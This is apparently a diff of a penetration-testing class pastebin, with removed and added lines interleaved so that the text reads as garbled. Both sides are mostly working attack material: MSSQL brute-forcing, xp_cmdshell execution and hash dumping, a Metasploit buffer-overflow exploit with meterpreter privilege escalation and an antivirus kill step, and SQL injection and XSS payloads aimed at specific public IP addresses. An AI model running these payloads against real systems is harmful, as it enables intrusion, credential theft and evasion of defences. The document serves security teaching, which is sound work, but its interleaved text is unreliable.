 http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
 http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
 http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
-Attacking Postgres with Metasploit
+
-----------------------------------
+
-cd ~/toolz/metasploit
+
 
-./msfconsole
+************************ Class Homework ************************
 
-use auxiliary/scanner/postgres/postgres_login
+Perform a mock penetration test against http://54.172.112.249 using what you have learned in this pastebin.
-set RHOSTS 10.0.0.59
+
-run
+You don't need to document it for me, but go through the steps for your own understanding.
 
 
 
 
-Identifying MSSQL Server
+
------------------------
+
 
-propecia 10.0.0 1433
+
 
 Here are some sample web app penetration test reports from other companies that you can look at:
 https://s3.amazonaws.com/StrategicSec-Files/WebAppSampleReports.zip
 
-Determine the Version
+
----------------------
+
 
-nmap -sV -p 1433 10.0.0.9
+
-nmap -sV -p 1433 --script=ms-sql-info 10.0.0.9
+
 
 
 
-Bruteforcing MSSQL
+
-------------------
+
 ###############################################################
-nmap -p1433 --script ms-sql-empty-password 10.0.0.9
+
 Step 1: Automated Testing
 
-mkdir ~/toolz/wordlists
+
-cd ~/toolz/wordlists
+
-echo dbo >> customuser.txt
+
-echo sa >> customuser.txt
+
-echo admin >> customuser.txt
+
-echo password >> custompass.txt
+
-echo pass >> custompass.txt
+
-echo hello >> custompass.txt
+
-echo goodbye >> custompass.txt
+
-echo test >> custompass.txt
+
-echo admin >> custompass.txt
+
-echo db >> custompass.txt
+
-echo god >> custompass.txt
+
-echo 123 >> custompass.txt
+
-echo letmein >> custompass.txt
+
-echo database!23 >> custompass.txt
+
 
 Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
 
 
-nmap -sV -p 1433 --script=ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt 10.0.0.9
+
 
 
 
-Extracting Data From MSSQL
+
 -------------------------------
-nmap -sV -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
+
 
-nmap -p1433 --script ms-sql-hasdbaccess.nse --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
+
 
-nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
+
 
-nmap -p1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
+
 
-nmap -p1433 --script ms-sql-xp-cmdshell --script-args=ms-sql-xp-cmdshell.cmd='net users',mssql.username=sa,mssql.password=database\!23 10.0.0.9
+
 Save the spider and scan results. I usually provide this data to the customer as well.
-nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
+
 
 Step 2b: Browse through the site using the 3 question method
 Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
 
 Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
 
-Attacking MSSQL Server With Metasploit
+
---------------------------------------
+
-cd ~/toolz/metasploit
+
 When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
-./msfconsole
+
 http://www.site.com/page.aspx?parametername=[ payload ]
-use auxiliary/admin/mssql/mssql_sql
+
 You need to ensure that you send the payload this way, and like this below:
-show options
+
 http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
-set RHOST 10.0.0.9
+
 This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
-set username sa
+
 
-set password database!23
+
 
-exploit
+
 
 
 ###########################################
 # Question 2: How much fuzzing is enough? #
 ###########################################
 There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
 
 Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
 
-use auxiliary/admin/mssql/mssql_enum
+
 Step 1: Ask yourself the 3 questions per page of the site.
-show options
+
 Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
-set RHOST 10.0.0.9
+
 Step 3: When you load your fuzz strings - use the following decision tree
-set username sa
+
 	- Are the fuzz strings causing a default error message (example 404)?
-set password database!23
+		- If this is the case then it is most likely NOT vulnerable
 
-exploit
+	- Are the fuzz strings causing a WAF or LB custom error message?
 		- If this is the case then you need to find an encoding method to bypass
 
 
 	- Are the fuzz strings causing an error message that discloses the backend type?
 		- If yes, then identify DB type and find correct syntax to successfully exploit
-use auxiliary/admin/mssql/mssql_exec
+		- Some example strings that I use are:
 			'
-show options
+			"
 			()       	<----- Take the parameter value and put it in parenthesis
-set RHOST 10.0.0.9
+			(5-1)	 	<----- See if you can perform an arithmetic function
 
-set password database!23
+
 	- Are the fuzz strings rendering executable code?
-set CMD cmd.exe /c ping localhost
+		- If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
 		- Some example strings that I use are:
-exploit
+			<b>hello</b>
 			<u>hello</u>
 			<script>alert(123);</script>
 			<script>alert(xss);</script>
 			<script>alert('xss');</script>
 			<script>alert("xss");</script>
 
-################################
+
-# Attacking Big Data Solutions #
+
-################################
+
 
-propecia 10.0.0 27017
+
 
 -------------------------------------------------------------------------------------------
-sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
+
-     infosecaddicts
+
 # Trading Web App with WAF #
 # http://54.213.131.105    #
 ############################
 
-Big Data is quite the buzzword in our industry and MongoDB is one of the more popular Big Data solutions on the market.
+
-There are others like CouchDB, and Cassandra, but for right now let's play with MongoDB.
+
     <script>alert(123);</script>
-One of the huge red flags with MongoDB is that its default configuration it has no user authentication, and no permissions.
+
     <script>alert(123)
     <script>alert
     <script>
-sudo apt install -y git python-setuptools
+
     <scrip
-cd ~/toolz
+
     <scr
-mkdir arsenal
+
     <s
-cd arsenal
+
     <
-git clone https://github.com/tcstool/nosqlmap.git
+
     Joe'+OR+1=1;--
-cd nosqlmap
+
 
-sudo python setup.py install
+
-     infosecaddicts
+    http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
 
-python nosqlmap.py
+
     xss_upload.txt (Upload Bulk Order)
-1					(set options)
+
-	10.0.0.59			(set target IP)
+
 
 Login Box:
-7	<your IP>			(set attacker host ip)
+
     ' or 1=1 or ''='
     anything
-x					(back to main menu)
+
 
-2					(DB access attack option)
+
 Tamper Data: (notice 2 session IDs)
 
-1					(Get server info)
+
     IsAdmin=yes;
     ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
-2					(Enumerate Databases/Collections/Users)
+
 
 
-3					(Check for GridFS)
+
-					GridFS is a specification for storing and retrieving files that exceed the BSON-document size limit of 16MB. Instead of storing a file in a single document, GridFS divides a file into parts, or chunks [1], and stores each chunk as a separate document
+
     joe|set
 
 
 
 
-Other attack options such as clone a database will require you to have a local copy of MongoDB installed, and the Metasploit attack is for too old of a version ( < 2.2.4 ).
+
 
 
 ###########################################################
 # Attacking an Oracle/JSP based WebApp with SQL Injection #
 ###########################################################
 
-####################################
+
-# Finally, let's exploit something #
+
-####################################
+
 
-nmap -Pn -sV -T 5 -oG - -p 80,8080 10.0.0.* | awk '/open/{print $2}'
+http://54.69.156.253:8081/bookcompany/
 
-nmap -Pn -sV -T 5 -p 80,8080 10.0.0.15
+
 user:   a' OR 'a'='a
-	https://www.exploit-db.com/search
+
 
-	Search for:
+
-	Savant httpd 3.1
+
-	Apache httpd 2.0.58 ((Win32))
+
 
 
-	Found one written in Python:
+
-	https://www.exploit-db.com/exploits/18401/
+http://54.69.156.253:8081/bookcompany/author.jsp?id=111
 
-	Found one for Savant 3.1 from Metasploit:
+
-	https://www.exploit-db.com/exploits/16770/
+
 
 
 
-cd ~/toolz/metasploit
+
-./msfconsole
+
-use exploit/windows/http/savant_31_overflow
+
-set RHOST 10.0.0.15
+
-set PAYLOAD windows/meterpreter/bind_nonx_tcp
+
-set RPORT 80
+
-set LPORT 7777
+
-exploit
+
 
 http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1
 
 
 
 http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
-********************************** Figure out who and where you are **********************************
+
 
-meterpreter> sysinfo
+
 
 
-meterpreter> getuid
+
 
 
-meterpreter> ipconfig
+
 
 
-meterpreter> run post/windows/gather/checkvm
+
 
 
-meterpreter> run get_local_subnets
+
 http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
 
 
-********************************** Escalate privileges and get hashes **********************************
+
 
 
-meterpreter> use priv
+
 
 
 http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
-meterpreter > getsystem
+
-...got system (via technique 1).
+
 
-meterpreter > getuid
+
-Server username: NT AUTHORITY\SYSTEM
+
 
---------------------------------------------------------
+
 http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
-meterpreter> run killav
+
 Current database is: